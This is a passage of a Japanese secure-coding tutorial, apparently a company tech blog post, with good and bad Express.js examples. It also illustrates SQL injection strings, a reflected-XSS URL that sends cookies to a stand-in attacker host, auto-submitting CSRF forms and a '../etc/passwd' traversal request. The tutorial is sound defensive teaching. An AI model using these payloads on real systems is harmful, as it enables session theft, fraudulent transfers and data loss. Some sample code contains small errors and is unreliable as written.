ドメインからアクセス可能です。",[56,505,506],{"id":506},"システム構成",[14,508,509],{},"システム構成を管理しやすく、セキュリティリスクを最小限に抑えるように、ソースコード、バージョン履歴、変更履歴、およびすべてのシステムコンポーネントの変更ログを管理するシステムが必要です。",[14,511,512],{},"それぞれの開発、テスト、本番環境は、資源やデータベースを独立にして、共有しないように設定する必要があります。データを効果的に管理し、テストシステムから本番システムへの攻撃のリスクを避けるためです。",[14,514,515],{},"HTTPレスポンスからOS、ウェブサーバーバージョン、デバッグ情報、またはソースコードに関連する不要な情報を外すことで、攻撃者が情報を収集し、ウェブサイトへより深く攻撃を回避します。",[14,517,518],{},"デプロイする前に、本番環境で使用されないテストコードやデバッグコードなどをソースコードから削除するようにします。",[14,520,521],{},"機密情報や重要な情報を含むファイルが漏洩されないように、Webサーバー上でのディレクトリリスティング機能を無効にします。",[14,523,524],{},"サーバー、OS、フレームワーク、およびシステムのすべてのコンポーネントが安全でセキュリティホールがないバージョン、できれば最新バージョンを使用するようにします。",[14,526,527],{},"公開済みのセキュリティエクスプロイトコードからの攻撃を制限するように、サーバー、OS、フレームワーク、およびシステムのすべてのコンポーネントが、開発者からのセキュリティパッチを常に更新するようにします。",[14,529,462],{},[14,531,532],{},[74,533,76],{},[78,535,538],{"className":536,"code":537,"language":83},[81],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F データベース構成に環境変数を読み込む \nconst dbConfig = { \n  host: process.env.DB_HOST, \n  username: process.env.DB_USERNAME, \n  password: process.env.DB_PASSWORD, \n  database: process.env.DB_DATABASE' \n}; \n \n\u002F\u002F データベースへの接続を実行する\nfunction connectToDatabase(config) { \n  \u002F\u002F こちらにデータベースに接続するコードを実装する\n} \n \nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,539,537],{"__ignoreMap":87},[14,541,542],{},"上記の例では、データベースの設定情報（DB_HOST、DB_USERNAME、DB_PASSWORD、DB_DATABASEなど）を環境変数に保存しています。環境変数を使用することで、ソースコードを修正せずにシステムの構成を簡単に調整でき、ソースコードにあるパスワードなどの重要な情報が漏れるリスクを軽減して、システム構成を管理やすく、安全な展開が容易にできます。",[14,544,545],{},[74,546,93],{},[78,548,551],{"className":549,"code":550,"language":83},[81],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\nconst dbConfig = { \n host: 'host', \n username: 'username', \n password: 'password', \n database: 'database' \n}; \n\n\u002F\u002F データベースへの接続を実行する\nfunction connectToDatabase(config) { \n \u002F\u002F こちらにデータベースに接続するコードを実装する\n} \n\nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,552,550],{"__ignoreMap":87},[14,554,555],{},"上記の例では、データベースの設定情報を環境変数ではなくコードに直接書き込んでいます。この方法では、システム構成を調整する際にソースコードを修正する必要になり、ソースコードにあるパスワードなどの重要な情報が漏れるリスクがあり、構成の管理と安全な展開が困難になります。",[56,557,558],{"id":558},"データベースのセキュリティ",[14,560,561],{},"データベースに接続する各アカウントには、機能、任務、および権限に基づいて明確に異なる権限を付与する必要です。",[14,563,564],{},"デフォルトのアカウントやシステムの要件に使用されていないアカウントは、システムから削除するようにします。",[14,566,567],{},"アクセスしていないデータベースをクローズします。",[14,569,570],{},"データベース接続文字列は個別の設定ファイルに保存され、強力な暗号化アルゴリズムで安全に暗号化する必要があります。",[14,572,573],{},"データベースアクセスのアカウント\u002Fパスワードは強固で、デフォルトの情報や推測しやすいものを使用しないほうが良いです。",[14,575,576],{},"データベースは最低権限のユーザーで実行され、明確な権限が与えられ、特定のデータベースへのアクセスのみを許可し、他のデータベースからの攻撃やデータの悪用を防止します。",[14,578,579],{},"クエリに渡す前に入力データを検証することです。",[14,581,582],{},"SQLクエリにパラメータを渡す形で、クエリとデータが独立になります。SQLクエリで文字列を連結する代わりに、パラメータは変数を通じて渡されます。これにより、有害なデータが渡されても、SQLインジェクション攻撃になりません。",[14,584,585],{},"以下はExpress.jsフレームワークを使用したNode.jsコードです。",[14,587,588],{},[74,589,76],{},[78,591,594],{"className":592,"code":593,"language":83},[81],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F データベースに接続する \nconst db = mysql.createConnection({ \n  host: 'localhost', \n  user: 'username', \n  password: 'password', \n  database: 'mydb' \n}); \n \ndb.connect(err => {\n  if (err) {\n    console.error('データベース接続エラー：', err); return; \n  } \n  console.log('データベースへの接続ができました。'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F 新しい本を作成する \napp.post('\u002Fbook', (req, res) => { \n  const { title, author } = req.body; \n  const query = 'INSERT INTO books (title, author) VALUES (?, ?)'; \n  db.query(query, [title, author], (err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'エラーが発生しました。' }); \n    } \n    return res.status(201).json({ message: '作成ができました。' }); \n  }); \n}); \n \n\u002F\u002F 本一覧を取得する\napp.get('\u002Fbook', (req, res) => { \n  const query = 'SELECT * FROM books where title = ?'; \n  db.query(query, [title],(err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'エラーが発生しました。' }); \n    } \n    return res.status(200).json(result); \n  }); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,595,593],{"__ignoreMap":87},[14,597,598],{},"上記の例では、MySQLデータベースに接続して操作するために、mysqlライブラリを使用しています。SQLクエリのセキュリティを守るために、パラメータを使用しています。これにより、ユーザーが有害なデータをSQLクエリに渡すことが回避できて、SQLインジェクション攻撃が防止できます。",[14,600,601],{},[74,602,93],{},[78,604,607],{"className":605,"code":606,"language":83},[81],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F データベースに接続する \nconst db = mysql.createConnection({ \n host: 'localhost', \n user: 'username', \n password: 'password', \n database: 'mydb' \n}); \n \ndb.connect(err => {\n if (err) {\n   console.error('データベース接続エラー：', err); return; \n } \n console.log('データベースへの接続ができました。'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F 新しい本を作成する\napp.post('\u002Fbook', (req, res) => { \n const { title, author } = req.body; \n const query = 'INSERT INTO books (title, author) VALUES (title, author)'; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'エラーが発生しました。' }); \n   } \n   return res.status(201).json({ message: '作成ができました。' }); \n }); \n}); \n \n\u002F\u002F 本一覧を取得する\napp.get('\u002Fbook', (req, res) => { \n const query = 'SELECT * FROM books where title =' + title; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'エラーが発生しました。' }); \n   } \n   return res.status(200).json(result); \n }); \n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,608,606],{"__ignoreMap":87},[14,610,611],{},"上記の例では、SQLクエリにパラメータを渡す代わりに、SQLクエリ内で文字列を連結しています。これで、SQLインジェクション攻撃のリスクが高まります。",[56,613,614],{"id":614},"ファイル管理",[14,616,617],{},"攻撃者による不正な変更を防ぐため、フォルダーやファイルの権限を制御するように設定したほうがよいです。",[14,619,620],{},"攻撃者がウェブサイトの絶対パス (\u002Fvar\u002Fwww\u002Fhtml\u002Fuploads\u002Ftest.jpgなど) から他の脆弱性を攻撃する可能性があるため、絶対パスを返さないようにします。ファイル名またはファイルを含むディレクトリのパス (\u002Fuploads\u002Ftest.jpgなど) のみを返すようにしたほうが良いです。",[14,622,623],{},"ウェブサービスを実行しているサーバーと同じサーバでファイルを保存しないこと。ファイルを別のサーバーに保存するか、Amazon S3などの第三者のファイルストレージサービスを使用するようにします。",[14,625,626],{},"サーバーにアップロードを許可するファイル（ヘッダーファイル）の種類すること。アップロード機能に対して、機能要件に適したファイルヘッダーのホワイトリストを作成する必要があります。（例: プロフィール写真のアップロード機能は、Content-typeがimage\u002Fjpegとimage\u002Fpngのみを許可します）。",[14,628,629],{},"ユーザーがアップロードを実行する前に認証を求めること。ユーザーの認証は、不正な有害ファイルのアップロードを制限し、攻撃が発生した際にユーザーのトレースに役に立ちます。",[14,631,632],{},"サーバーにアップロードを許可するファイルの種類（拡張子ファイル）を制限すること。アップロード機能に対して、機能要件に適したファイルのホワイトリストを作成する必要があります。（例: プロフィール写真のアップロード機能は、pngとjpgのみを許可します。）",[14,634,635],{},"ユーザーがアップロードしたファイルを検証するためにウイルススキャナーを使用すること。これで、ユーザーがアップロードした有害なファイルやウイルスがクリアできます。",[14,637,638],{},"以下は、Express.jsフレームワークを使用したNode.jsのコードです。",[14,640,641],{},[74,642,76],{},[78,644,647],{"className":645,"code":646,"language":83},[81],"const express = require('express'); \nconst fs = require('fs'); \nconst path = require('path'); \nconst app = express(); \nconst port = 3000; \n \napp.use(express.json()); \napp.use(express.static('public')); \n \n\u002F\u002F ファイルダウンロード \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n const requestedFile = req.params.filename; \n  if (!\u002F^[a-zA-Z0-9._-]+$\u002F.test(requestedFile)) { \n    return res.status(400).send('ファイル名が正しくないです。'); \n  }\n \n  const filePath = path.join(__dirname, 'uploads', requestedFile); \n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'ファイルが存在していません。' }); \n  } \n \n  const fileStream = fs.createReadStream(filePath); \n  res.setHeader('Content-Disposition', `attachment; filename=${requestedFile}`); \n  fileStream.pipe(res); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,648,646],{"__ignoreMap":87},[14,650,651],{},"上記の例では、ファイルをダウンロードする際、HTTPレスポンスに 'Content-Disposition' ヘッダーを設定するために res.setHeader() メソッドを使用しています。これにより、ファイルは指定された名前で添付ファイルとしてダウンロードされることが指定されます。このように添付ファイルを使用すれば、ユーザーはサーバー上のファイルの絶対パスを知らずに、ファイルを受け取ることができます。これで、システム構造に関する情報を守って、絶対パスに基づく攻撃を防ぎます。",[14,653,654],{},[74,655,93],{},[78,657,660],{"className":658,"code":659,"language":83},[81],"const express = require('express'); \nconst fs = require('fs');\nconst path = require('path'); \nconst app = express(); \nconst port = 3000;\n \napp.use(express.static('public'));\n \n\u002F\u002F ファイルダウンロード \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n  const requestedFile = req.params.filename; \n  const filePath = path.join(__dirname, 'uploads', requestedFile); \n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'ファイルが存在していません。' }); \n  } \n \n  res.download(filePath, requestedFile, err => { \n    if (err) { \n      console.error('ファイルダウンロードエラー：', err); \n      return res.status(500).json({ error: 'エラーが発生しました。' }); \n    } \n  });\n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,661,659],{"__ignoreMap":87},[14,663,664],{},"この例では、ファイルの絶対パスが返されます。",[10,666,667],{"id":667},"一般的な攻撃エラーと予防方法",[56,669,671],{"id":670},"sqlインジェクション","SQLインジェクション",[14,673,674],{},"SQLインジェクションは、アプリケーションのクエリの脆弱性を利用する技術です。というと、元のクエリを歪めるためにSQLコードを挿入して実行することによって、データベースからデータを抽出したり、エラーを生成したり、システムのデータを破壊したりすることができます。",[14,676,677],{},"例：次のような関数があります。",[78,679,682],{"className":680,"code":681,"language":83},[81],"const getUserByUserName = (userName: string) => {\n\n const query = 'SELECT * FROM Users WHERE userName = ’ + userName;\n\n return query.excute();\n\n}\n",[85,683,681],{"__ignoreMap":87},[14,685,686],{},"ユーザーがuserName = 'abc' or '1'='1'を渡すと、SQLクエリ文は次のようになります。",[78,688,691],{"className":689,"code":690,"language":83},[81],"SELECT * FROM Users WHERE userName = 'abc' or '1'='1';\n",[85,692,690],{"__ignoreMap":87},[14,694,695],{},"このSQLクエリ文では、常に正しくて、Usersテーブルのすべての情報を返します。",[14,697,698],{},"他のケースで、ユーザーがuserName = 'abc'; DROP TABLE Users;を渡すと、SQLクエリ文は以下のようになります。",[78,700,703],{"className":701,"code":702,"language":83},[81],"SELECT* FROM Users WHERE userName = 'abc';\nDROP TABLE Users;\n",[85,704,702],{"__ignoreMap":87},[14,706,707],{},"このクエリでUsersテーブルが削除され、非常に危ないです。",[14,709,710],{},[74,711,712],{},"防止方法",[28,714,715,718,721],{},[31,716,717],{},"ユーザー入力の検証: 正規表現を使用して、不正な文字や数字以外の文字、もしくは変な文字を排除します。",[31,719,720],{},"SQLを生成するために文字列を連結しないこと: 文字列を連結する代わりに、パラメータを使用するようにします。不正なデータが入力された場合、SQLエンジンが自動的にエラーを報告するため、コードでの確認は不要です。",[31,722,723],{},"純粋なSQLの記述を制限し、ORM（オブジェクト関係マッピング）フレームワークを使用すること: ORMフレームワークはSQLクエリ文を自動生成するため、より安全だということです。",[56,725,727],{"id":726},"クロスサイトスクリプティング-xss","クロスサイトスクリプティング (XSS)",[14,729,730],{},"クロスサイトスクリプティング (XSS)は一般的な悪意のあるコードによる攻撃する形です。ハッカーはウェブセキュリティの脆弱性を利用して、スクリプトコードを挿入し、クライアント側でそれを実行します。通常、XSS攻撃はアクセスの認証検証の回避とユーザーのなりすましに使用されています。この攻撃の主な目的は、ユーザーの識別データ（クッキー、セッショントークンなど）を盗み出すことです。",[14,732,733],{},"XSS攻撃には主に3つのタイプがあります。",[28,735,736,765,773],{},[31,737,738,739],{},"反射型XSS（Reflected XSS）\n",[740,741,742,745],"ul",{},[31,743,744],{},"これはHTTPリクエストからの悪意のあるスクリプトコードを使用した攻撃する形です。ハッカーは悪意のあるスクリプトを含むURLを共有することで、ユーザーのデータを盗み出し、ウェブサイト上でのユーザーのアクセスや操作を乗っ取ります。",[31,746,747,748],{},"例：\n",[740,749,750,759,762],{},[31,751,752,753],{},"ウェブサイトにアクセスする時、ユーザーは認識せずに、以下の悪意のあるリンクの画像または広告をクリックします。",[78,754,757],{"className":755,"code":756,"language":83},[81],"http:\u002F\u002Fuser.com\u002Fname=var+i=new+Image;+i.src=”http:\u002F\u002Fabc-hacker.com\u002F”%2Bdocument.cookie;\n",[85,758,756],{"__ignoreMap":87},[31,760,761],{},"この時、ハッカーは自分のサーバーに送信されるリクエストを確認するだけで、ユーザーのクッキーを取得し、それを使用してユーザーのログインセッションを乗っ取ることができます。",[31,763,764],{},"このXSSの特徴は、ハッカーがユーザーに悪意のあるコードを含むリンクを送り、ユーザーがそのリンクにアクセスするようにだます必要がある点です。悪意のあるコードは、ユーザーがリンクにアクセスした瞬間に実行されます。",[31,766,767,768],{},"格納型XSS（Stored XSS）\n",[740,769,770],{},[31,771,772],{},"これは、ハッカーが入力、テキストエリア、フォームなどの入力データを十分に検証せずにデータベースに悪意のあるコードを挿入する攻撃する形です。ユーザーがアクセスして保存されたデータに関連する操作を行うと、悪意のあるコードがブラウザで即座に実行されます。",[31,774,775,776],{},"DOM-based XSS\n",[740,777,778],{},[31,779,780],{},"これは、セキュリティホールがサーバーサイドのコードではなく、クライアントサイドのコードに存在する攻撃する形です。この形は、材料のHTMLを変更すること、つまりDOMの構造を変更することに基づいてXSSを悪用します。",[14,782,783],{},[74,784,712],{},[28,786,787,790,793],{},[31,788,789],{},"データ検証（入力の確認）：ユーザーが提供した入力データが正確であることを確認します。",[31,791,792],{},"フィルタリング（ユーザー入力のフィルタリング）：この方法は、ユーザーの入力データから危険なキーワードを見つけ出して、それらをタイムリーに置換または削除するのに役立ちます。",[31,794,795],{},"エスケープ：これはXSSを防ぐのにかなり効果的で、文字をエスケープライブラリが使用できる特殊なコードに変更する方法です。",[56,797,799],{"id":798},"クロスサイトリクエストフォージェリcsrf",[74,800,801],{},"クロスサイト・リクエスト・フォージェリ（CSRF）",[14,803,804],{},"CSRFは、ユーザーが認証されているウェブアプリで望ましくない操作を実行させる攻撃する形です。ソーシャルエンジニアリングのヘルプで（電子メールやチャットを介したリンクの送信など、非テクニカルの攻撃とも呼ばれることがあります）、攻撃者はウェブアプリのユーザーを欺き、攻撃者が選択した操作を実行させることができます。",[14,806,807],{},"例：ユーザー1が銀行にログインして、ユーザー2に1000ドルを送金したがったんですが、ユーザー3（攻撃者）がユーザー1に自分に対して送金させたいです。この場合は次のようになります。",[14,809,810],{},"もしアプリケーションがGETリクエストを使用してパラメータを渡し、送金の操作を実行するように設計されている場合、次のようなリクエストがあります。",[78,812,815],{"className":813,"code":814,"language":83},[81]," http:\u002F\u002Fbank.com\u002Ftransfer?account=user2&amount=1000\n\n",[85,816,814],{"__ignoreMap":87},[14,818,819],{},"さて、ユーザー3はこのウェブアプリケーションの脆弱性を悪用することを決めて、ユーザー1を犠牲にします。最初に、ユーザー3はユーザー1のアカウントから自分のアカウントに20万ドルを送金するように以下の悪意のあるURLを作成します。ユーザー3は元のコマンドのURLを取得し、受益者の名前を自分に変更し、同時に送金額を著しく増やします。",[78,821,824],{"className":822,"code":823,"language":83},[81],"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\n",[85,825,823],{"__ignoreMap":87},[14,827,828],{},"その後、ユーザー3は、被害者にHTML内容を含む望ましくないメールを送信したり、被害者がオンラインバンキングの取引を行っている最中にアクセスする可能性のあるサイトにURLを埋め込んだりします。攻撃用のURLは通常のリンクとして偽装され、被害者にそのリンクをクリックするように促します。",[78,830,833],{"className":831,"code":832,"language":83},[81],"\u003Ca href=\"http:\u002F\u002Fbank.com\u002Ftransfer.do?acct=user3&amount=200000\">クリックして画像を見る\u003C\u002Fa>\nまたは以下の画像\n\u003Cimg src=\"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\" width=\"0\" height=\"0\" border=\"0\">\n",[85,834,832],{"__ignoreMap":87},[14,836,837],{},"もしこの画像タグがメールに含まれていれば、ユーザー1は何も見られていませんが、ブラウザは引き続きbank.comにリクエストを送信し、視覚的な表示がないままお金が送信されてしまいます。",[14,839,840],{},[74,841,842],{},"その他の場合",[14,844,845],{},"銀行が現在 POSTリクエストを使用しており、脆弱なリクエストが次のようになっているとします。",[78,847,850],{"className":848,"code":849,"language":83},[81],"POST http:\u002F\u002Fbank.com\u002Ftransfer\naccount=user2&amount=1000\n",[85,851,849],{"__ignoreMap":87},[14,853,854],{},"このようなリクエストは、標準の \u003Ca> タグや \u003Cimg> タグを使用して送信することはできませんが、次のように \u003Cform> タグで送信できます。",[78,856,859],{"className":857,"code":858,"language":83},[81],"\u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n  \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n  \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n\u003C\u002Fform>\n",[85,860,858],{"__ignoreMap":87},[14,862,863],{},"このフォームではユーザーに送信ボタンをクリックするよう求めますが、JavaScript を使用して自動的に実行することもできます。",[78,865,868],{"className":866,"code":867,"language":83},[81],"\u003Cbody onload=\"document.forms[0].submit()\">\n  \u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n    \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n    \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n    \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n  \u003C\u002Fform>\n\u003C\u002Fbody>\n",[85,869,867],{"__ignoreMap":87},[14,871,872],{},[74,873,712],{},[740,875,876,895],{},[31,877,878,881],{},[74,879,880],{},"ユーザー側",[740,882,883,886,889,892],{},[31,884,885],{},"取引が完了したら、銀行口座、オンライン支払い、ソーシャル ネットワーク、Gmail などの重要な Web サイトからログアウトしたほうがよいです。",[31,887,888],{},"電子メールや Facebook などで受信した不明なリンクをクリックしたり、変な電子メールを開いたりしないことです。",[31,890,891],{},"ブラウザにパスワード情報を保存しないことです。(「次回ログイン時に自動的に入力する」または「パスワードを保存する」方法を選択しないほうがよいです)。",[31,893,894],{},"取引中または重要な Web サイトにアクセスしている間は、他の Web サイトにアクセスしないこと。攻撃者のエクスプロイト コードが含まれている可能性があるからです。",[31,896,897,900],{},[74,898,899],{},"サーバー側",[740,901,902,905,908,911],{},[31,903,904],{},"GETとPOSTを適切に使用する必要があります。データをクエリする場合はGETを使用し、システムに変更をさせる場合はPOSTを使用してください。アプリがRESTfulの標準に従っている場合、PATCH、PUT、DELETEなどのHTTP動詞も使用できます。",[31,906,907],{},"Captchaはシステムとやり取りしている主体が人間かどうかを判断するために使用されます。\"ログイン\"、\"振り込む\"、\"支払い\"などの重要な操作では通常Captchaが使用されます。",[31,909,910],{},"管理ページに別のCookieを使用します。",[31,912,913],{},"IPを検証します。重要なシステムでは、事前に設定されたIPからのアクセスしか許可されません。",[56,915,917],{"id":916},"パストラバーサル",[74,918,916],{},[14,920,921],{},"パストラバーサルは、攻撃者がウェブのルートディレクトリーの外部に保存されているファイルやディレクトリにアクセスして、望ましくないファイルを読むことができるウェブの脆弱性です。これにより、サーバー上のファイル、ログイン情報やOSの情報などのアプリの機密情報が漏洩する可能性があります。あるケースでは、サーバー上のファイルに書き込むことも可能で、攻撃者はデータを変更したり、サーバーを制御したりすることができるようになることもあります。",[14,923,924],{},"例：",[14,926,927],{},"あるアプリが以下のように画像をロードします。",[78,929,932],{"className":930,"code":931,"language":83},[81],"\u003Cimg src=\"\u002FloadImage?filename=image-logo.png\">\n",[85,933,931],{"__ignoreMap":87},[14,935,936],{},"filename=image-logo.pngというパラメータを渡して、リクエストを送信すれば、指定ファイルの内容と\u002Fvar\u002Fwww\u002Fimages\u002Fimage-logo.pngにある画像ファイルが返却されます。",[14,938,939],{},"この場合、アプリケーションはパストラバーサル攻撃を防がないため、攻撃者は任意のリクエストを行い、システム内のファイルを読み取ることができます。",[14,941,924],{},[78,943,946],{"className":944,"code":945,"language":83},[81],"https:\u002F\u002Fhostname\u002FloadImage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n",[85,947,945],{"__ignoreMap":87},[14,949,950],{},"この時、アプリは\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswdというファイルパスのあるファイルを読んで、..\u002Fごとに現在のフォルダーの元フォルダーに戻ります。それで、..\u002F..\u002F..\u002F で\u002Fvar\u002Fwww\u002Fimages\u002Fフォルダーから元フォルダーに戻って、 \u002Fetc\u002Fpasswdファイルは読まれるファイルです。",[14,952,953],{},"LinuxのOSでは \u002Fetc\u002Fpasswd\u002Fファイルはユーザーの情報を格納しているファイルです。",[14,955,956],{},"\u002Fetc\u002Fpasswd\u002F を読んだ後、以下のように見えます。",[958,959],"img",{"className":960,"alt":87,"src":963,"style":964},[961,962],"block","mx-auto","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F21090548\u002Fsecure-coding-3.png","width: 100%;",[14,966,967],{},"\u002Fetc\u002Fpasswd\u002Fファイル以外、攻撃者はシステムに存在しているほかのファイルやフォルダーを読めるように任意なリクエストを実行することができます。",[14,969,970],{},[74,971,712],{},[28,973,974,977,980,983],{},[31,975,976],{},"処理前にユーザー入力を検証することです。",[31,978,979],{},"ウェブのルートディレクトリー内に機密な設定ファイルを保存しないことです。",[31,981,982],{},"許可された値にホワイトリストを使用して、またはファイル名が普通の文字、数字を使用して、特殊文字を含めないようにすることです。",[31,984,985],{},"ファイルに関しては、Amazon S3を使用して保存およびアクセスしてもよいです。",[56,987,989],{"id":988},"idor-脆弱性-insecure-direct-object-references","IDOR 脆弱性 (Insecure Direct Object References)",[14,991,992],{},"安全でない直接オブジェクト参照 (IDOR) は、ユーザーが提供したデータを通じて、プログラムにユーザーがデータ、ファイル、フォルダー、データベースなどのリソース に不正にアクセスさせるときに発生する脆弱性です。",[14,994,924],{},[14,996,997,998,1003],{},"\"注文管理\"セクションでは、注文のURLは次のようになります: ",[477,999,1002],{"href":1000,"rel":1001},"http:\u002F\u002Fshop.com\u002Fuser\u002Forder\u002F1%E3%80%82",[481],"http:\u002F\u002Fshop.com\u002Fuser\u002Forder\u002F1。"," サーバーはURLからID = 1を読み取り、その後、データベース内でID = 1の注文を検索し、データをHTMLに注ぎ込みます。それから、ID = 1を別の番号に変更すると、システムは全ての注文を読み取り、表示します（他の顧客の注文も含む）。",[14,1005,1006],{},"ここでの脆弱性は次の通りです。プログラムはURLで提供されたデータ（ID）により、資源（他のユーザーの注文）に不正にアクセスを許可しています。本来ならば、プログラムはそのユーザーがこれらのデータにアクセスする権限を持っているかどうかを確認する必要があります。",[14,1008,1009],{},"実際には、ハッカーはさまざまな手法が使用できます。例えば、URLを変更したり、API内のパラメータを変更したり、セキュリティが確保されていないリソースをスキャンするためにツールを使用したりすることがあります。",[14,1011,1012],{},[74,1013,712],{},[28,1015,1016,1019,1022],{},[31,1017,1018],{},"ユーザーに厳格な権限を設定することです。",[31,1020,1021],{},"常にアプリケーションを真剣にテストすることです。",[31,1023,1024],{},"ソースコード、設定、データベースキーなどの機密なデータを守るために、アクセスを制限することです。これらのデータへのアクセスを内部IPにのみ許可するのが最も良い方法です。",[10,1026,1027],{"id":1027},"結論",[14,1029,1030],{},"セキュアコーディングをアプリに使用することは、安全性とセキュリティを確保するために不可欠な要素です。セキュアコーディングの原則と手法を適用することで、セキュリティホールが初期段階で発生するのを防ぎ、将来のリスクを最小限に抑えるのに役立ちます。ユーザーに信頼性の高い安全なアプリケーションを提供しましょう。",[10,1032,1033],{"id":1033},"参考資料",[14,1035,1036],{},[477,1037,1038],{"href":1038,"rel":1039},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002F",[481],[14,1041,1042],{},[477,1043,1044],{"href":1044,"rel":1045},"https:\u002F\u002Fowasp.org\u002Fwww-pdf-archive\u002FOWASP_SCP_Quick_Reference_Guide_v1.pdf",[481],[14,1047,1048],{},[477,1049,1050],{"href":1050,"rel":1051},"https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002F",[481],[14,1053,1054],{},[477,1055,1056],{"href":1056,"rel":1057},"https:\u002F\u002Fwww.websec.ca\u002Fkb\u002Fsql_injection",[481],[14,1059,1060],{},[477,1061,1062],{"href":1062,"rel":1063},"https:\u002F\u002Fcodedx.com\u002Finsecure-direct-object-references\u002F",[481],[14,1065,1066],{},[477,1067,1068],{"href":1068,"rel":1069},"https:\u002F\u002Fviblo.asia\u002Fs\u002Fsecure-coding-for-developers-dbZN76EalYM",[481],{"title":87,"searchDepth":1071,"depth":1071,"links":1072},2,[1073,1074,1075,1089,1096,1097],{"id":12,"depth":1071,"text":12},{"id":22,"depth":1071,"text":23},{"id":54,"depth":1071,"text":54,"children":1076},[1077,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088],{"id":58,"depth":1078,"text":58},3,{"id":105,"depth":1078,"text":105},{"id":145,"depth":1078,"text":145},{"id":216,"depth":1078,"text":216},{"id":265,"depth":1078,"text":265},{"id":320,"depth":1078,"text":320},{"id":392,"depth":1078,"text":392},{"id":444,"depth":1078,"text":444},{"id":506,"depth":1078,"text":506},{"id":558,"depth":1078,"text":558},{"id":614,"depth":1078,"text":614},{"id":667,"depth":1071,"text":667,"children":1090},[1091,1092,1093,1094,1095],{"id":670,"depth":1078,"text":671},{"id":726,"depth":1078,"text":727},{"id":798,"depth":1078,"text":801},{"id":916,"depth":1078,"text":916},{"id":988,"depth":1078,"text":989},{"id":1027,"depth":1071,"text":1027},{"id":1033,"depth":1071,"text":1033},"tech talk","Briswell Vietnam Co Ltd","2025-03-25","セキュアコーディングについての紹介 セキュア コーディングは、アプリケーションを安全に開発することを目的にして、侵入者やハッカーからの攻撃を防ぐために脆弱性を最小限に抑え、安全性の高いソース コードを作成するプロセスです。","md",{},true,"\u002Fja\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan",null,{"title":5,"description":1101},"ja\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F20130147\u002Fimage-secure-coding.jpg","2o4590yENFUyeDhUw8sQ59dkUQHz9i2kSqMKMSlxNHU",1782205042114]